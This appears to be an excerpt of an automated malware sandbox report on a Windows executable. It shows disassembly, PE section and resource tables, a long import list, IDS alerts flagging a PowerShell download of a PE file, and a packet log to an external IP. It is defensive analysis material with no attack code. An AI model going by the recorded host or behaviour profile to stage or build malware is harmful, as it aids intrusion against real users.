                                                          call 00007F6BACB0A0A0h
                                                          dec eax
                                                          add esp, 28h
                                                          jmp 00007F6BACB099AFh
                                                          int3
                                                          int3
                                                          inc eax
                                                          push ebx
                                                          dec eax
                                                          sub esp, 20h
                                                          dec eax
                                                          mov ebx, ecx
                                                          dec eax
                                                          mov eax, edx
                                                          dec eax
                                                          lea ecx, dword ptr [0009466Dh]
                                                          dec eax
                                                          mov dword ptr [ebx], ecx
                                                          dec eax
                                                          lea edx, dword ptr [ebx+08h]
                                                          xor ecx, ecx
                                                          dec eax
                                                          mov dword ptr [edx], ecx
                                                          dec eax
                                                          mov dword ptr [edx+08h], ecx
                                                          dec eax
                                                          lea ecx, dword ptr [eax+08h]
                                                          call 00007F6BACB0B5B9h
                                                          dec eax
                                                          lea eax, dword ptr [0009467Dh]
                                                          dec eax
                                                          mov dword ptr [ebx], eax
                                                          dec eax
                                                          mov eax, ebx
                                                          dec eax
                                                          add esp, 20h
                                                          pop ebx
                                                          ret
                                                          int3
                                                          dec eax
                                                          and dword ptr [ecx+10h], 00000000h
                                                          dec eax
                                                          lea eax, dword ptr [00094674h]
                                                          dec eax
                                                          mov dword ptr [ecx+08h], eax
                                                          dec eax
                                                          lea eax, dword ptr [00094659h]
                                                          dec eax
                                                          mov dword ptr [ecx], eax
                                                          dec eax
                                                          mov eax, ecx
                                                          ret
                                                          int3
                                                          int3
                                                          inc eax
                                                          push ebx
                                                          dec eax
                                                          sub esp, 20h
                                                          dec eax
                                                          mov ebx, ecx
                                                          dec eax
                                                          mov eax, edx
                                                          dec eax
                                                          lea ecx, dword ptr [0009460Dh]
                                                          dec eax
                                                          mov dword ptr [ebx], ecx
                                                          dec eax
                                                          lea edx, dword ptr [ebx+08h]
                                                          xor ecx, ecx
                                                          dec eax
                                                          mov dword ptr [edx], ecx
                                                          dec eax
                                                          mov dword ptr [edx+08h], ecx
                                                          dec eax
                                                          lea ecx, dword ptr [eax+08h]
                                                          call 00007F6BACB0B559h
                                                          dec eax
                                                          lea eax, dword ptr [00094645h]
                                                          dec eax
                                                          mov dword ptr [ebx], eax
                                                          dec eax
                                                          mov eax, ebx
                                                          dec eax
                                                          add esp, 20h
                                                          pop ebx
                                                          ret
                                                          int3
                                                          dec eax
                                                          and dword ptr [ecx+10h], 00000000h
                                                          dec eax
                                                          lea eax, dword ptr [0009463Ch]
                                                          dec eax
                                                          mov dword ptr [ecx+08h], eax
                                                          dec eax
                                                          lea eax, dword ptr [00000021h]

                                                          Rich Headers

                                                          Programming Language:
                                                          • [ C ] VS2008 SP1 build 30729
                                                          • [IMP] VS2008 SP1 build 30729

                                                          Data Directories

                                                          NameVirtual AddressVirtual Size Is in Section
                                                          IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_IMPORT0xe5c100x17c.rdata
                                                          IMAGE_DIRECTORY_ENTRY_RESOURCE0xfb0000x14114.rsrc
                                                          IMAGE_DIRECTORY_ENTRY_EXCEPTION0xf40000x6f48.pdata
                                                          IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_BASERELOC0x1100000xa74.reloc
                                                          IMAGE_DIRECTORY_ENTRY_DEBUG0xc70500x1c.rdata
                                                          IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_TLS0xd9aa00x28.rdata
                                                          IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xc70700x100.rdata
                                                          IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_IAT0xb50000x1138.rdata
                                                          IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                          IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                          Sections

                                                          NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                          .text0x10000xb33280xb3400507a8505198e35cc9675301d53e3b1c4False0.5503358721234309data6.5212967575920215IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                          .rdata0xb50000x342040x344009eda36be0cf076085a2f9772c1ee5803False0.30884139503588515data5.360588077813426IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                          .data0xea0000x91200x5000ec6b77d6ef8898b0d3b7d48c042d66a0False0.040673828125DOS executable (block device driver)0.5749243362866429IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                          .pdata0xf40000x6f480x70004416e27f8be9f9271c439d2fd34d1b2dFalse0.49612862723214285data5.911479421450324IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                          .rsrc0xfb0000x141140x14200fd46d89329841565eb0ec20cdc242aa0False0.1937597049689441data4.245533728497325IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                          .reloc0x1100000xa740xc005ddb0e422ace102fe530e589a0cbec6fFalse0.4850260416666667data5.139847116863034IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                          Resources

                                                          NameRVASizeTypeLanguageCountryZLIB Complexity
                                                          RT_ICON0xfb4580x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.7466216216216216
                                                          RT_ICON0xfb5800x128Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colorsEnglishGreat Britain0.3277027027027027
                                                          RT_ICON0xfb6a80x128Device independent bitmap graphic, 16 x 32 x 4, image size 192EnglishGreat Britain0.3885135135135135
                                                          RT_ICON0xfb7d00x10828Device independent bitmap graphic, 128 x 256 x 32, image size 65536, resolution 60472 x 60472 px/mEnglishGreat Britain0.14468236129184905
                                                          RT_MENU0x10bff80x50dataEnglishGreat Britain0.9
                                                          RT_STRING0x10c0480x594dataEnglishGreat Britain0.3333333333333333
                                                          RT_STRING0x10c5dc0x68adataEnglishGreat Britain0.2735961768219833
                                                          RT_STRING0x10cc680x490dataEnglishGreat Britain0.3715753424657534
                                                          RT_STRING0x10d0f80x5fcdataEnglishGreat Britain0.3087467362924282
                                                          RT_STRING0x10d6f40x65cdataEnglishGreat Britain0.34336609336609336
                                                          RT_STRING0x10dd500x466dataEnglishGreat Britain0.3605683836589698
                                                          RT_STRING0x10e1b80x158Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0EnglishGreat Britain0.502906976744186
                                                          RT_RCDATA0x10e3100x8e6data1.004828797190518
                                                          RT_GROUP_ICON0x10ebf80x14dataEnglishGreat Britain1.25
                                                          RT_GROUP_ICON0x10ec0c0x14dataEnglishGreat Britain1.25
                                                          RT_GROUP_ICON0x10ec200x14dataEnglishGreat Britain1.15
                                                          RT_GROUP_ICON0x10ec340x14dataEnglishGreat Britain1.25
                                                          RT_VERSION0x10ec480xdcdataEnglishGreat Britain0.6181818181818182
                                                          RT_MANIFEST0x10ed240x3efASCII text, with CRLF line terminatorsEnglishGreat Britain0.5074478649453823

                                                          Imports

                                                          DLLImport
                                                          WSOCK32.dllgethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
                                                          VERSION.dllGetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
                                                          WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
                                                          COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
                                                          MPR.dllWNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
                                                          WININET.dllHttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
                                                          PSAPI.DLLGetProcessMemoryInfo
                                                          IPHLPAPI.DLLIcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
                                                          USERENV.dllDestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
                                                          UxTheme.dllIsThemeActive
                                                          KERNEL32.dllWaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, GetFullPathNameW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, EnterCriticalSection, DuplicateHandle, GetStdHandle, CreatePipe, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, GetSystemTimeAsFileTime, CreateThread, GetCurrentProcess, GetCurrentThread, LeaveCriticalSection, InitializeSListHead, RtlUnwindEx, RtlPcToFileHeader, SetLastError, TlsAlloc, ResetEvent, WaitForSingleObjectEx, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, CloseHandle, WriteConsoleW, MoveFileW, RtlCaptureContext
                                                          USER32.dllGetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetWindowLongW, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongPtrW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, SetWindowLongPtrW, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, IsCharUpperW, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, GetClipboardData, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, IsCharLowerW, IsCharAlphaNumericW, IsCharAlphaW, GetKeyboardLayoutNameW, ClientToScreen, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, SetMenuDefaultItem, CloseClipboard, GetWindowRect, SetUserObjectSecurity, IsClipboardFormatAvailable, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, OpenClipboard, GetWindowLongPtrW
                                                          GDI32.dllEndPath, DeleteObject, GetDeviceCaps, ExtCreatePen, StrokePath, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, PolyDraw, GetTextExtentPoint32W, CreateCompatibleBitmap, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StretchBlt, SelectObject, CreateCompatibleDC, StrokeAndFillPath
                                                          COMDLG32.dllGetSaveFileNameW, GetOpenFileNameW
                                                          ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegSetValueExW, GetSecurityDescriptorDacl, GetAclInformation, RegCreateKeyExW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW, GetUserNameW
                                                          SHELL32.dllDragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
                                                          ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
                                                          OLEAUT32.dllVariantChangeType, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, VariantTimeToSystemTime, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, VariantInit, VariantClear, VariantCopy, SysAllocString, SafeArrayCreateVector, VarR8FromDec, SafeArrayAllocDescriptorEx, SafeArrayAllocData, SysStringLen, SafeArrayGetVartype, OleLoadPicture, QueryPathOfRegTypeLib, SysReAllocString, SafeArrayAccessData

                                                          Possible Origin

                                                          Language of compilation systemCountry where language is spokenMap
                                                          EnglishGreat Britain

                                                          Network Behavior

                                                          Suricata IDS Alerts

                                                          TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                          2024-12-27T15:00:50.134198+01001810000Joe Security ANOMALY Windows PowerShell HTTP activity1192.168.2.949707147.45.49.155443TCP
                                                          2024-12-27T15:00:50.391754+01001810003Joe Security ANOMALY Windows PowerShell HTTP PE File Download2147.45.49.155443192.168.2.949707TCP

                                                          Network Port Distribution

                                                          TCP Packets

                                                          TimestampSource PortDest PortSource IPDest IP
                                                          Dec 27, 2024 15:00:47.929682016 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:47.929766893 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:47.929830074 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:47.941081047 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:47.941133022 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:49.507101059 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:49.507185936 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:49.510739088 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:49.510751963 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:49.511035919 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:49.518356085 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:49.563330889 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.134109020 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.182323933 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.340058088 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.340075970 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.340121984 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.340137005 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.340148926 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.340187073 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.340214014 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.340225935 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.340261936 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.391779900 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.391803980 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.391855001 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.391868114 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.391899109 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.391908884 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.541273117 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.541301966 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.541344881 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.541356087 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.541388035 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.541398048 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.567090988 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.567114115 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.567176104 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.567187071 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.567215919 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.567228079 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.595065117 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.595091105 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.595165014 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.595174074 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.595206976 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.595230103 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.651823044 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.651849031 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.652007103 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.652021885 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.652080059 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.743820906 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.743844032 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.743921995 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.743949890 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.744101048 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.763642073 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.763664007 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.763721943 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.763746977 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.763758898 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.763792992 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.781582117 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.781603098 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.781697989 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.781722069 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.781769991 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.794225931 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.794249058 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.794296980 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.794308901 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.794321060 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.794351101 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.805109978 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.805131912 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.805185080 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.805206060 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.805216074 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.805247068 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.816765070 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.816787004 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.816853046 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.816870928 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.816910982 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.816910982 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.937577009 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.937602997 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.937709093 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.937742949 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.937783957 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.951472998 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.951493025 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.951551914 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.951565027 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.951600075 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.961507082 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.961529016 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.961707115 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.961718082 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.961760998 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.970309973 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.970328093 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.970408916 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.970426083 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.970580101 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.979500055 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.979526043 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.979597092 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.979609013 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.979628086 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.979661942 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.986557961 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.986578941 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.986628056 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.986637115 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.986666918 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.986680984 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.993899107 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.993921041 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.993962049 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.993973970 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:50.993988037 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:50.994010925 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:51.055160999 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:51.055182934 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:51.055234909 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:51.055254936 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:51.055265903 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:51.055290937 CET49707443192.168.2.9147.45.49.155
                                                          Dec 27, 2024 15:00:51.146246910 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:51.146272898 CET44349707147.45.49.155192.168.2.9
                                                          Dec 27, 2024 15:00:51.146478891 CET49707443192.168.2.9147.45.49.155
